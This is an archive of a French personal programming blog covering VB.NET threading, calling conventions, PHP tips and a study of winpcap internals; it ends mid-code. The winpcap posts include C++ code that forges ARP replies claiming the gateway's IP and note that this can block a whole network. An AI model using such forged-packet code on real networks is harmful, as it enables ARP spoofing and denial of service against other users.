mercredi 4 mai 2011
Des news...
Bientôt quatre mois de silence pesant. Peu de vagues, voire aucune...
Tout ça pour dire qu'entre temps je me suis mis à twitter, c'est vachement pratique, y a plein de gens compétents (certains sont même professionnels) qui font circuler des informations croustillantes, des "papers" instructifs, etc. Pour ceux que ça intéresse, vous pouvez me suivre ici : https://twitter.com/#!/Ge0bidouille.
En parallèle, j'ai ouvert un autre blog où j'écrirai en Anglais seulement. Ce sera pour moi un bon entraînement, et éventuellement pour les lecteurs non-anglophones. Et puis ça permet de communiquer avec des non-Français, ce qui n'est pas plus mal. Le lien : http://ge0-it.blogspot.com/.
Pour le premier message, on se rappelle comment faire une DLL non boguée lorsqu'on utilise Code::Blocks. J'en connais un qui s'appelle Overclok et qui devrait s'en inquiéter (il comprendra pourquoi... Car jump3r saurait avoir un successeur digne de ce nom).
Rien d'autre à signaler. :)
Ge0
vendredi 14 janvier 2011
Delegates & opération inter-thread en VB.NET
Le problème
Commencez par ouvrir Visual Studio - peu importe la version - et agencez rapidement une interface graphique, par exemple, comme ceci :

Vous pouvez vous passer du label. En fait, seule le champ "TextEdit" et le bouton nous importent.
On va faire en sorte que lorsque nous cliquons sur le bouton, un thread se créé, se lance, et mette à jour le champ TextEdit pour y afficher un "Hello world".
Oui, bon, ok, pas besoin de thread pour ça, mais c'est pour l'exemple.
Créez un champ "BackgroundWorker" en prime. Ensuite, on va dans le code de notre formulaire et on insère la méthode suivante :
Private Sub DoStuff()
' Mise à jour du TextBox
Me.TextBox1.Text = "Hello world!"
End Sub
Cette méthode sera appelée par le BackgroundWorker :
Private Sub BackgroundWorker1_DoWork(ByVal sender As Object, _
ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
Me.DoStuff()
End Sub
Et on "lancera" le BackgroundWorker après clic sur notre bouton :
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
Me.BackgroundWorker1.RunWorkerAsync()
End Sub
On lance la fenêtre, on clique sur notre bouton et, là, c'est le drâme : une exception type InvalidOperationException est lancée. Le descriptif de celle-ci est :
Opération inter-threads non valide : le contrôle 'TextBox1' a fait l'objet d'un accès à partir d'un thread autre que celui sur lequel il a été créé..
Et c'est là qu'interviennent les "Delegates". Ils permettent aux différents threads d'accéder aux propriétés communes d'une classe. Pour ceux qui connaissent les mutex - exclusions mutuelles - le principe peut sembler le même, sauf qu'ici, nous n'aurons pas verrouiller ou déverrouiller quoi que ce soit.
Tout d'abord, nous allons créer une méthode publique qui mettra à jour notre TextEdit :
Public Sub MajTextBox1(ByVal chaine As String)
Me.TextBox1.Text = chaine
End Sub
Rien de bien sorcier. Ensuite, nous déclarons dans la liste des membres notre "Delegate" qu'on instanciera et à qui on fournira l'adresse de MajTextBox1. Il s'agit, en quelques sortes, d'une référence de fonction. Le delegate doit donc avoir la même signature que notre méthode MajTextBox1, qu'importe la visibilité de cette dernière. On aura donc à écrire :
Private Delegate Sub AccessMajTextEdit(ByVal chaine As String)
Ensuite, dans notre méthode DoStuff(), appelez la méthode "Invoke", qui va servir à appeler notre Delegate et donc, par la même occasion, la méthode MajTextBox1, les conflits en moins :
Private Sub DoStuff()
' Déclaration et instanciation du Delegate
Dim MyDelegate As New AccessMajTextEdit(AddressOf MajTextBox1)
' La propriété InvokeRequired indique si l'on a
' besoin d'appelé un délégué pour modifier une instance
' d'un autre thread
If Me.InvokeRequired Then
' Appel du delegate
Me.Invoke(MyDelegate, "Hello world !")
End If
End Sub
On relance notre petite application, on clique sur le bouton et, normalement, ...

C'était un petit article sans prétention. Je ne maîtrise véritablement pas le sujet, je ne saurais vous dire ce qu'est un Delegate en détail. On sait juste que ça marche. Vous pouvez très bien utiliser les threads au lieu des BackgroundWorker - ces derniers étant néanmoins plus faciles à utiliser, ce pourquoi je m'en suis servi.
Cette astuce m'est très utile au boulot, c'est pour ça que je l'insère ici pour ne pas l'oublier. En espérant que quelques programmeurs VB.NET puissent profiter.
Le code complet :
Public Class Form1
Private Delegate Sub AccessMajTextEdit(ByVal chaine As String)
Private Sub DoStuff()
' Instanciation du Delegate
Dim MyDelegate As New AccessMajTextEdit(AddressOf MajTextBox1)
' La propriété InvokeRequired indique si l'on a
' besoin d'appelé un délégué pour modifier une instance
' d'un autre thread
If Me.InvokeRequired Then
Me.Invoke(MyDelegate, "Hello world !")
End If
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, _
ByVal e As System.EventArgs) Handles Button1.Click
Me.BackgroundWorker1.RunWorkerAsync()
End Sub
Private Sub BackgroundWorker1_DoWork(ByVal sender As Object, _
ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
Me.DoStuff()
End Sub
Public Sub MajTextBox1(ByVal chaine As String)
Me.TextBox1.Text = chaine
End Sub
End Class
Ge0
mardi 11 janvier 2011
Timestamp UNIX en VB.NET
On fournit notamment une fonction pour passer d'un timestamp à une date, comme ceci :
Public Function DateFromTimestamp(ByVal timestamp As Long) As DateTime
Dim debut As New DateTime(1970, 1, 1, 0, 0, 0)
Return debut.AddSeconds(timestamp)
End Function
Pour preuve :
1294733118
MessageBox.Show(DateFromTimestamp(1294733118).ToString) ' Résultat : "11/01/2011 08:05:18"Pour récupérer le timestamp d'une date, c'est un poil plus délicat mais pas impossible. On dispose de la propriété Ticks pour une instance DateTime, qui renvoie le nombre de "Ticks" correspondant à une date donnée par 100 nanosecondes. Seulement, on ne sait pas depuis quand. Cependant, on sait qu'un timestamp correspond au nombre de secondes écoulées depuis le premier Janvier 1970 à minuit - le début de l'ère UNIX - et une date lambda. Il suffit donc de récupérer, pour chacune de ces deux dates, le nombre de Ticks, d'en faire la différence et de multiplier le tout par 10-7 pour convertir nos ticks en secondes.
Public Function TimeStamp(Optional ByVal laDate As DateTime = Nothing) As Long
If laDate = Nothing Then
laDate = DateTime.Now
End If
Dim TicksDebut As Long = New DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Local).Ticks
Dim TicksActuels As Long = laDate.Ticks
Return Math.Floor((TicksActuels - TicksDebut) * Math.Pow(10, -7))
End Function
Puisse cette petite astuce servir à quelques développeurs...
Ge0
mercredi 10 novembre 2010
Comprendre ce à quoi servent __cdecl et __stdcall en langage C, ainsi que leurs différences
int __cdecl foobar(const char* pt_name, int anotherArg);
Ou même encore :
void __stdcall barfoo(void* ptr, int arg);
Les prototypes sont choisis au hasard. On ne sait pas ce que font ces fonctions à l'intérieur et encore moins à quoi elles servent.
D'après le titre de l'article, vous comprendrez que nous nous intéresserons aux notations __cdecl et __stdcall.
Tout d'abord, il faut savoir que ça n'est pas un souci majeur de savoir si on doit mettre telle ou telle directive. En effet, cela change peu de choses. Si l'on ne met aucune de ces deux directives - et c'est souvent le cas quand on écrit du C, parce qu'on en n'a strictement rien à cirer - alors ce sera la directive __cdecl qui sera utilisée.
Allez, j'en viens aux faits... Explications !
Comme vous pouvez le voir, on utilise ces directives lors de la définition de fonctions. En effet, pour ceux qui ne savent pas forcément comment se passe l'appel d'une fonction - d'un point de vue binaire, donc quand on exécute des instructions "natives" successivement - voici, sans entrer dans des explications barbares, comment ça se passe :
La routine appelante, qui peut aussi bien être votre fonction main ou même une autre fonction, va déposer les arguments de la fonction à appeler sur la pile d'exécution. Les informaticiens emploient couramment la traduction anglaise de ce terme : "execution stack", voire stack puisqu'ils sont fainéants. Cette pile d'exécution est très utile, et sert au programme pour mémoriser des données en général : variables, adresses mémoire, et j'en passe. Prenons le code suivant :
#include <stdio.h>
#include <stdlib.h>
void __cdecl doStuff(int, int);
void __stdcall doAnotherStuff(int, int, int, int);
int main(int argc, char **argv) {
doStuff(1, 2);
doAnotherStuff(1, 2, 3, 4);
return EXIT_SUCCESS;
}
void __cdecl doStuff(int arg1, int arg2) {
printf("I'm doStuff.\n");
}
void __stdcall doAnotherStuff(int foo1, int foo2, int foo3, int foo4) {
printf("- And I'm doAnotherStuff.\n");
}
Lors de l'appel à doStuff, le code présent dans la fonction main() va simplement "empiler" - ou "déposer sur la pile d'exécution" - les arguments 2 et 1. La directive __cdecl définit l'ordre de passage des arguments de la fonction de droite à gauche. C'est-à-dire que nous allons déposer le nombre 2 sur la pile, et 1 ensuite. Au final, notre pile ressemblera à ceci :
00000001
00000002
La valeur 2 se retrouve à la base de notre pile (bien qu'en réalité, on ait d'autres valeurs en-dessous mais elles ne nous intéressent pas) car elle a été empilée en premier. 1 se retrouve au sommet car il a été empilé en second. Vous pourrez penser que c'est bizarre, mais il n'en est rien ; il est plus aisé, pour la fonction appelée, de retrouver le premier argument au sommet de la pile !
La directive __stdcall utilise aussi cette convention, elle a ça en commun avec __cedcl. De ce fait, avant d'appeler la fonction doAnotherStuff, la pile d'exécution sera :
Arg1 = 00000001
Arg2 = 00000002
Arg3 = 00000003
Arg4 = 00000004
Pour information, il existe aussi des conventions où l'on empile les arguments de gauche à droite. Mais nous ne nous y intéresserons pas.
Vous suivez jusqu'ici ? Alors continuons.
Ne tournons plus autour du pot et expliquons les choses telles qu'elles sont réellement :
- Vous choisissez la directive __cdecl : une fois l'appel de la fonction déroulé, la pile sera intacte et ce sera logiquement à vous de la "nettoyer" ;
- Vous choisissez la directive __stdcall : une fois l'appel de la fonction déroulé, la pile sera dépourvue des arguments que nous avons empilés.
Que ce soient pour ceux qui ne comprennent pas nécessairement le fonctionnement exact de la pile - parce que j'ai été bref - ou ceux qui savent très très bien de quoi je parle, une question commune peut se poser : "Mais quel intérêt ? Pourquoi choisir l'une ou l'autre puisque ça ne change rien d'apparent ?"
Tout d'abord, sachez que si vous utilisez __stdcall, assurez-vous - et on ne sait jamais - d'avoir une copie de vos arguments quelque part en mémoire. Logiquement, vous en avez. Mais une erreur est si vite arrivée ! Un avantage notable serait évidemment des raisons de réduction de taille de pile : en effet, si votre fonction accepte plusieurs arguments voire une structure en entrée seulement - donc copiée intégralement sur la pile - alors la directive __stdcall peut s'avérer intéressante puisque la pile est dégagée au retour à la routine appelante.
Mais __cdecl a ses avantages aussi : c'est de garder la pile telle qu'on l'a trouvée avant l'appel ; pratique pour ceux qui utilisent une fonction sans forcément l'avoir programmée - l'API Win32, par exemple - et qui veulent que les choses restent à leur place. Ben, tenez, j'ai parlé de l'API Win32. Elles sont toutes, je pense, conventionnées par __stdcall.
Peut-être dis-je des choses fausses à propos des avantages / inconvénients ; le fainéant que je suis n'a pas pris la peine de se renseigner davantage sur ces directives-là. Donc ça peut se discuter, éventuellement. Et les commentaires sont là pour ça (je ne les ai jamais soumis à approbation et ça a excellemment marché jusque là).
Référence : http://msdn.microsoft.com/en-us/library/984x0h58%28v=VS.80%29.aspx
Geo
dimanche 13 juin 2010
Comment supporter __construct() et __destruct() en PHP 4 ?
Allez, plus sérieusement, j'aimerais partager une astuce - m'en souvenir aussi, en tout cas - de programmation orientée objet en php. Je signale que cette méthode n'est en rien issu d'une masturbation intellectuelle, j'ai trouvé ça dans le framework CakePHP.
Pour se situer dans le contexte
En php4, voici ce qu'on ferait pour déclarer notre définition de classe (le moule à gateau, quoi).
<?php
class Foo {
private $_param = null;
/* Constructeur de la classe */
public function Foo($arg = "") {
$this->_param = $arg;
}
}
Notez que j'ai omis le "?>" à la fin ; en effet, ça permet d'éviter d'avoir des erreurs à la con genre "header already sent by "fichier.class.php" on line [...]. On est sûr de n'avoir que du PHP derrière, pas d'echo d'HTML ni rien.
Et donc, en PHP 5, on a ça :
<?php
class Foo {
private $_param = null;
/* Constructeur de la classe */
public function __construct($arg = "") {
$this->_param = $arg;
}
}
On se sert de la méthode magique __construct(). Notez qu'on peut très bien utiliser aussi le constructeur "Foo()", mais les méthodes magiques n'ont pas été conçues pour rien !
Et pour preuve, en PHP 5, on peut faire ça :
<?php
class Foo {
private $_param = null;
/* Constructeur de la classe */
public function __construct($arg = "") {
$this->_param = $arg;
}
/* Destructeur de la classe */
public function __destruct() {
echo "Bye bye!\n";
}
}
Généralement, on utilise les destructeurs lorsque notre objet est amené à allouer des ressources dynamiquement ; il faut donc les libérer.
Prenons un exemple con : un objet va encapsuler un fichier. Le constructeur va ouvrir ce fichier (ça sera transparent) et le destructeur le fermera sans que nous ayons à écrire :
fclose($handleSurNotreFichier);
Bref, revenons à nos moutons. On est passé à PHP 5 dans la plupart des cas, mais il arrive parfois qu'on ne dispose que d'une version 4 qui ne supporte pas __construct() et __destruct() comme on le souhaiterait. En effet, ces méthodes ne seraient pas magiques et donc pas appelées automatiquement et respectivement lors de la construction et la destruction d'une instance.
Voici comment CakePHP procède : tout d'abord, il définit une class "Mère", je dirais même "Doyenne" donc toutes les autres classes hériteront. Et là, vous comprendrez vite l'intention :
<?php
class Mother {
public function Mother() {
/* On récupère les arguments passés à la fonction
via http://fr.php.net/func_get_args */
$arguments = func_get_args();
/* On vérifie si la méthode __destruct() existe
via http://fr2.php.net/method_exists */
if(method_exists($this, "__destruct")) {
/* Si c'est le cas, on l'assimile en fonction
"callback" de "shutdown, c'est-à-dire qu'elle
sera appelée en fin de vie de l'instance
(http://fr2.php.net/register_shutdown_function)
*/
register_shutdown_function( array(&$this, "__destruct") );
}
/* On appelle notre méthode __construct() avec les arguments passés
avec http://fr2.php.net/call_user_func_array */
call_user_func_array(array(&$this, "__construct"), $arguments);
}
/* Et là, on a notre constructeur qui sera surchargé par les classes
filles */
public function __construct() {
/* Le code de votre choix */
}
}
Désormais, qu'on soit en PHP 4 ou PHP 5, on pourra faire :
<?php
class MaClasse extends Mother {
/* Handle sur un fichier */
private $_handle = null;
/* Constructeur */
public function __construct() {
/* Ouverture d'un fichier */
$this->_handle = @fopen("fichier", "w");
}
/* On peut imaginer des méthodes pour écrire, tout effacer, etc... */
/* Destructeur */
public function __destruct() {
fclose($this->_handle);
}
}
Si ça se trouve j'étais le seul à pas connaître ce tour de passe-passe (& puis tant mieux) mais si y'en a à qui ça peut servir, ben tant mieux. J'ai aucun mérite sur la chose, mais je me dis que partager cette petite astuce qui se retrouve au milieu d'un bazar pointu - c'est comme auditer le code de phpBB, quoi - pourrait servir...
Geo
dimanche 6 juin 2010
Une bonne raison d'utiliser intval()
Sur le blog de mon camarade pp^, on peut voir un article fort intéressant sur le contournement de la fonction in_array(). Je ne vais pas m'attarder là-dessus, je vous redirige juste sur son article : http://ppisho.me/hack-web/in_array-probleme-avec-des-nombres/.
J'ai aussi trouvé un problème avec des nombres, hors de la fonction in_array(). M'enfin, c'était pas dur à trouver non plus.
Supposons que vous ayez des droits d'écriture sur $foo :
$foo = 3;
if($foo >= 2) {
echo "Rulez!";
} else {
echo "No...";
}
Évidemment, le code affiche Rulez. Seulement voilà, vous vous en douterez :
$foo = " 3 foobar";
if($foo >= 2) {
echo "Rulez!";
} else {
echo "No...";
}
Ce code affiche aussi "Rulez"... Et pour cause ! PHP, c'est bien, mais c'est pas un langage fortement typé comme le C ou le Java. Tout est chaînes de caractères, en PHP. Imaginez qu'à la place de "foobar" après notre "3", on injecte du code SQL, Javascript, ... Et j'en passe. Bah ça fait bobo. Notez aussi que j'ai mis un espace avant le 3 ; pourvu que ça soit un caractère blanc, donc tabulation, retour à la ligne, etc, en fait.
Bon, ok, c'est pas une découverte révolutionnaire et tout le monde sait comment éviter ça.
Avec intval(), notre variable aura toujours un nombre entier mais la condition sera quand même vérifiée :
$foo = intval(" 3 foobar");
if($foo >= 2) {
echo "Rulez! (\$foo = ".$foo.")\n";
} else {
echo ":(";
}Résultat :
Ca sera tout.
Geo
samedi 20 mars 2010
Analyse de winpcap - Petite rectification
Je profite d'un billet bref pour vous signaler que je faisais un peu fausse piste. En effet, mon code n'est pas du tout portable. Et là, encore, je ne vous parle pas de linux qui refuserait aimablement de compiler, mais je parle du fait que je passe par un driver sans m'en rendre compte : npf.sys. Si je n'ai pas ce driver, je peux ouvrir mes interfaces réseau, certes, mais ça ne sert à rien d'écrire dedans.
Mes excuses, et voici le driver pour ceux qui veulent : http://venom630.free.fr/geo/blog/pcap/npf.sys
En ce qui concerne "WinGPacket" - ma classe perso pour forger des paquets - elle continue d'être bricolée. Ca reste une bidouille perso et non un projet sérieux, mais pour ceux qui veulent les sources :
http://venom630.free.fr/?mod=cpp&submod=wingpacket
Ah, oui, vous allez atterrir sur un portfolio que je me suis amusé à faire car je me faisais chier. Ca me permet d'organiser plus proprement mon boulot que mon dépôt.
Vous verrez que WinGPacket utilise Registry et String, deux classes que j'ai aussi codées. La première regroupe des fonctions statiques pour manipuler le registre sans se casser la tête, et la classe String, ... hum, vous voyez. :)
C'est tout ce que j'ai à dire pour cette fois. Dans la part III, j'essaierai de vous expliquer comment il est possible de "sniffer" le trafic réseau à coups de DeviceIoControl() (pour foutre la carte réseau en mode promiscuous, par exemple) et ReadFile() (vous vous en doutiez, n'est-ce pas ?).
A bientôt !
Geo
mardi 9 mars 2010
Fonctionnalités intéressantes dans notepad++
On connait bien, pour la plupart, le raccourci Ctrl+G (G de "Go") :

Invite de notepad++ : Aller à un endroit précis
Le développeur de cet outil est très amusant !
Y'a aussi Ctrl + Q - Q étant la première lettre de "Quote". En fonction du langage que vous avez choisi pour la coloration syntaxique, sélectionnez votre bloc de code et appuyez sur ctrl + Q pour y passer en commentaires.

Invite de notepad++ : Commenter du code (cliquez pour agrandir)
Et enfin, à l'instant, je viens de taper sur ctrl + espace, et là... WOOT !

Invite de notepad++ : quelle fonction utiliser ? (cliquez pour agrandir)
On a une liste - peut-être exhaustive ? - de fonctions php à utiliser. Et c'est pas qu'en PHP qu'on nous propose ça. Je connaissais pas, c'est marrant.
Bon, ok, cet article sert un peu à rien, c'est juste pour archiver une connerie dont j'aimerais me resservir et ne pas oublier.
Cya.
Geo
dimanche 7 mars 2010
Analyse de winpcap - Partie II
Il se trouve qu'on avait des résultats un peu bluffant puisque ça parle pas forcément. Heureusement, quand on chopait la description de l'interface réseau, ça allait mieux.
Pour qu'on ne se prenne plus la tête avec tout ça, j'ai décidé d'encapsuler les fonctionnalités que je détaillerais dans une classe C++.
Donc, pour le moment, on a une fonction statique qui renvoie un double vecteur de chaînes de caractères avec la chaîne représentant l'interface, l'autre représentant la description.
On a aussi un constructeur qui prend en argument une interface réseau à ouvrir via CreateFile() et qui va récupérer sa description ainsi que d'autres infos comme son adresse IP, le masque de sous-réseau et la passerelle par défaut. Par contre, j'ai testé sur le Windows Vista de ma copine, ça marche pas. Putain de bordel de merde, quoi.
Bref, on va passer en revue ma classe que j'ai nommée "WinGPacket". Le nom est pourri mais je savais pas comment la baptiser. Win pour Windows, G pour la première lettre de mon pseudo, et "Packet" car ça manipule les paquets réseau. Bref, on s'en fout...
wingpacket.hpp :
#ifndef _WINGPACKET_HPP
#define _WINGPACKET_HPP
#include <iostream>
#include <cstdlib>
#include <vector>
#include <windows.h>
#include "string.hpp"
class Wingpacket {
public:
Wingpacket(char* = NULL);
~Wingpacket();
static std::vector< std::vector<String> > getAllInterfaces();
char* getDescription() const;
char* getIPAddress() const;
char* getSubnetMask() const;
char* getDefaultGateWay() const;
int sendPacket(char* packet, int size) const;
private:
String m_description;
String m_ipAddr, m_subnetMask, m_defaultGateWay;
HANDLE m_hDevice;
};
#endif
En quelques mots : on met des défines pour éviter de se faire couillonner si y'a des inclusions multiples. On a aussi les accesseurs aux principaux membres qui sont des objets non pas de type "string" mais de type "String", ce qui change tout. C'est une classe que j'ai refaite dans le cadre de mes études et je me suis dit que je pourrais la garder.
Mais ce qui reste le plus intéressant, c'est la fonction au prototype suivant :
Elle prend en argument un pointeur sur notre tableau de caractères qui correspond à notre packet en dur, ainsi que sa taille. Effectivement, on n'ira pas mesurer la taille du paquet avec strlen() puisqu'il y a des octets nuls dedans.
Et le plus impressionnant : son code. Vous êtes prêts ? :)
int Wingpacket::sendPacket(char* packet, int size) const {
DWORD dwBytesWritten;
return WriteFile(this->m_hDevice, packet, size, &dwBytesWritten, NULL );
}Eh oui, un simple WriteFile() suffit à balancer notre paquet sur le réseau. Quand on sniffe avec WireShark, on les voit tranquillement défiler. Notre handle correspond à une poignée sur notre interface réseau qui est ouverte dans le constructeur de la manière suivante :
String strDeviceName(deviceName);
if(strDeviceName.substr(0, 8) == "\\Device\\") {
String newName = "\\\\.\\Global\\NPF_";
newName += strDeviceName.substr(8);
String tmpPathKey;
// On essaie d'ouvrir le driver
this->m_hDevice = ::CreateFile(
newName.getStr(),
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
0
);
// ...
Je fais face à un problème : je préfixe la chaîne passée en paramètre formel à ma méthode qui correspond à l'interface réseau, de la forme { ... }. Visiblement, je préfixe cette chaîne de "\\\\.\\Global\\NPF_" et :
- J'aurais du mal à vous dire ce à quoi correspond "NPF_". Je peux juste vous dire qu'il existe un driver sous ce nom ;
- Parfois, il arrive qu'il faille que j'enlève ce préfixe, sans quoi l'envoi de paquets ne marche pas.
Eh oui, à cause de mon manque de patience et de compétences, j'ai pas tout trouvé ce que je cherchais dans les sources de winpcap. Donc il reste des points à éclaircir.
Ce qu'il faut véritablement retenir, c'est qu'il suffise que d'un WriteFile() pour balancer un paquet forgé entièrement à la main à travers le réseau. Allez, un petit exemple de code qui fonctionne chez moi mais, malheureusement, pas chez tout le monde et peut-être pas chez vous...
#include <iostream>
#include "string.hpp"
#include "wingpacket.hpp"
using namespace std;
int main()
{
vector< vector> Devices = Wingpacket::getAllInterfaces();
for(unsigned int i = 0, l = Devices.size(); i < l; i++) {
cout << i+1 << " : " << Devices[i][0] << " " << Devices[i][1] << std::endl;
}
unsigned int choice;
cout << "Select the interface to open : ";
cin >> choice;
while(choice < 1 || choice > Devices.size()) {
cout << "Try again: ";
cin >> choice;
}
Wingpacket myDevice(Devices[choice-1][0]);
cout << "Description is " << myDevice.getDescription() << "\n";
cout << "IP address is " << myDevice.getIPAddress() << "\n";
cout << "Subnet Mask is " << myDevice.getSubnetMask() << "\n";
cout << "DefaultGateWay is " << myDevice.getDefaultGateWay() << "\n";
for(int i = 0; i < 10; i++) {
myDevice.sendPacket(
"\x01\x23\x45\x67\x89\x2a" // Adresse MAC Destination (n'importe quoi)
"\xfe\xdc\xba\x98\x76\x54" // Adresse MAC Source (n'importe quoi)
// Couche réseau
"\x08\x06" // "Protocole ARP"
"\x00\x01" // Hardware type = Ethernet
"\x08\x00" // Protocol type = IP
"\x06" // Hardware size = 6 (une adresse MAC fait 6 octets)
"\x04" // Protocol size = 4 (une adresse ipv4 fait 4 octets)
"\x00\x02" // On envoie une réponse
"\x01\x23\x45\x67\x89\x2a" // Adesse MAC de l'envoyeur (n'importe quoi)
"\xc0\xa8\x01\x01" // Adresse IP de l'envoyeur (on fout n'importe quoi, ici, 192.168.1.1)
"\xfe\xdc\xba\x98\x76\x54" // Adresse MAC Destination (n'importe quoi)
"\xc0\xa8\x01\x05" // Adresse IP Destination (ici, moi : 192.168.1.5
, 42);
Sleep(1000);
}
return 0;
}
A l'exécution :
1 : \Device\{C8B3A563-AC0B-4871-9A3B-9EF6DB42EC87}
2 : \Device\{F9A79020-32A7-4134-BD12-C92351E25EC4}
3 : \Device\NdisWanIp
4 : \Device\{8EEB3BBC-655E-4E05-A2DD-92A5325081A6} Belkin Wireless G Plus MIMO USB Network Adapter
5 : \Device\{79ACFCBD-A8D5-40EE-B565-3AA5D78D34B5}
6 : \Device\{70467207-74FE-4F20-87EB-5F79C03C2D2A}
7 : \Device\NdisWanBh
8 : \Device\{F9415153-9262-4C55-B0A4-D9D3B9911CB7} Realtek PCIe FE Family Controller
Select the interface to open :
Un invite de saisie où je rentre le numéro d'une interface qui me parle, c'est-à-dire qui possède une description. Ici, ça sera "4" car je bosse avec ma clé USB Wifi.
Description is Belkin Wireless G Plus MIMO USB Network Adapter
IP address is 192.168.1.3
Subnet Mask is 255.255.255.0
DefaultGateWay is 192.168.1.1
Super, il m'affiche la configuration de ma clé wifi, malheureusement chopée dans le registre et non à l'aide d' "IoControlCode". Bon, je suis sûr de rien, mais je suis persuadé qu'il soit possible de récupérer ce telles informations via un DeviceIoControl()...
Mais avant, je prends bien soin d'ouvrir WireShark et de capturer les paquets en mode "non promiscuous" (exceptionnellement pour cette interface car sinon ça ne fonctionne pas) et je mate ce qui se passe. Et là...

Cliquez sur l'image pour agrandir
On voit nos paquets passer, l'air de rien. Bon, heureusement, j'ai mis de la merde quant aux adresses MAC. Mais si on fout vraiment n'importe quoi, on peut bloquer entièrement le réseau ; dire à tout le monde que la passerelle par défaut se situe à une adresse MAC foireuse, ça fait mal et ça empêche tout le monde de passer. Effet garanti.
Conclusion
Envoyer nos propres paquets sur le réseau s'avère, avec le recul, vraiment simple. Ce qui est plus dur et ce sur quoi je ne me suis pas (encore ?) attardé : gérer des connexions TCP/IP avec ces paquets, par exemple. Et plus encore si affinité. Heureusement, il y a les rfc.
A retenir : WriteFile() permet l'envoi de paquets sur une interface réseau ouverte avec CreateFile().
Et comme promis, une archive contentant le programme de test, les sources et le fichier projet Code::Blocks : http://venom630.free.fr/geo/blog/pcap/WinGPacket.zip
Et, enfin, si par hasard vous avez des réponses à mes interrogations, je suis entièrement preneur car je compte vraiment faire quelque chose de concret avec tout ça. A vrai dire, faire un fork() de pcap m'intéresserait car j'aurais juste des .h et .cpp à me trimballer ; des fichiers sources dont je connais et maîtrise le contenu plutôt que des dll et plein d'autres dépendances...
Geo
PS : Ivan, je me suis mis aux chocapics.
mercredi 3 mars 2010
Analyse de winpcap - Partie I
Lors de mon dernier poste traitant de la lib winpcap et de ses fonctionnalités, j'avais parlé, en conclusion, d'analyser son fonctionnement. Effectivement, j'étais resté perplexe et me posais une question.
En effet, il faut savoir que Microsoft restreint l'usage des "Raw Socket", où nous sommes en mesure de forger nos propres paquets. On m'a conseillé d'abandonner, et je me suis rendu compte que j'avais bien fait de désobéir ! >:)
Pour ceux qui veulent des infos sur les Raw Socket avec WinSock : http://msdn.microsoft.com/en-us/library/ms740548%28VS.85%29.aspx. Vous comprendrez plus ou moins que si vous voulez balancer un paquet ARP, vous pouvez allez vous faire foutre. Au moins, ça a le mérite d'être clair.
Mais, quand il s'agit de winpcap, on peut faire ce qu'on veut. Etrange, non ? Alors je me suis mis en tête d'analyser ça. La question : "Comment ça fonctionne ?". Question brève pour une réponse qui va se scinder en probablement plusieurs postes.
Dans ce premier poste, j'irai tout en douceur. On n'apprendra pas à balancer / sniffer des paquets, mais juste à récupérer la liste des interfaces réseau (c'est déjà bien pour commencer, non ?)
/!\ Les tests sont menés, ici, sous un windows XP SP3. Il se peut que ça marche sur la série XP, mais je ne garantie rien quant à Vista / Seven et encore moins sous les versions antérieures !
Les interfaces réseau
Sous Windows, on peut avoir une ou plusieurs interfaces réseau. Votre carte ethernet en est une, aussi bien que votre carte Wifi. J'ai même une clé USB Wifi reconnue en tant qu'interface réseau. Il se peut aussi que les machines virtuelles engendrent la création d'interfaces réseau exploitables ; je ne me suis pas penché sur ce genre de chose, mais certains reversers doivent avoir la réponse. ;)
Pour récupérer cette liste d'interfaces réseau, il faut aller chercher dans la base de registre à ce chemin : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}. Dans cette clé figurent des sous-clés ayant pour non 0000, puis 0001, puis 0002, ... A croire qu'on prévoit 10000 noms d'interfaces réseau.
Dans ces sous-clé se trouvent une clé nommée "Linkage", et, enfin, dans cette clé "Linkage" se trouve une valeur de type REG_MULTI_SZ - constante signifiant "plusieurs chaînes terminées par un octet nul", d'où le "SZ" - String Zero - qui correspond au chemin de notre interface réseau.
L'objectif du moment sera d'afficher chacune de ces interfaces. Grâce à l'API Win32 et à sa panoplie de fonctions RegMachiChouette(), ça doit pas être bien dur ! :)
Quelques fonctions utiles :
RegOpenKeyEx() : Permet d'ouvrir une clé existante : http://msdn.microsoft.com/en-us/library/ms724897(VS.85).aspx ;
RegQueryValueEx() : Permet de récupérer la valeur d'une clé. http://msdn.microsoft.com/en-us/library/ms724911(VS.85).aspx ;
CreateFile() : Permet de déterminer si une interface réseau est accessible (un bon indice pour la suite ! :]) : http://msdn.microsoft.com/en-us/library/aa363858%28VS.85%29.aspx.
Ok, on aura nos interfaces, mais il faudrait aussi la description de chacune d'elles.
Et bien j'ai tout de même trouvé, dans la clé SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards, des sous-clé ayant pour un un numéro sans les 0 devant, cette fois. Mais ce sont les mêmes numéros que nos interfaces réseau de HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}, donc il nous sera facile de faire le lien !
Maintenant, on se tait et on code.
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#define KEY_IF_RESEAUX "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}"
#define KEY_DESC_RESEAUX "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards"
int main(int argc, char **argv) {
// Des handle de clefs
HKEY hKey, hCurrentKey, hDescKey;
// Variables
char* currentPathKey, *currentDescKey;
// Numéro de l'interface sous chaîne de caractères
char currentNumber[5];
// compteur de l'interface
int cpt = 0;
// Handle sur l'interface qui va nous permettre de savoir si on peut l'ouvrir ou pas
HANDLE hDevice;
// Variable dont on se sert pour connaître les octets retournés par une fonction
LONG dwBytesReturned;
// Tampons
char buffer[1024];
char devName[1024];
char desc[1024];
// Première étape : ouverture de la clé en question
LONG Status = RegOpenKeyEx( HKEY_LOCAL_MACHINE, KEY_IF_RESEAUX, 0, KEY_ALL_ACCESS, &hKey );
if(Status == ERROR_SUCCESS) {
// On la ferme puisqu'on n'en a plus besoin
RegCloseKey(hKey);
// Les sous-clé s'appellent toutes 0000, 0001, ... Donc il va falloir les parcourir.
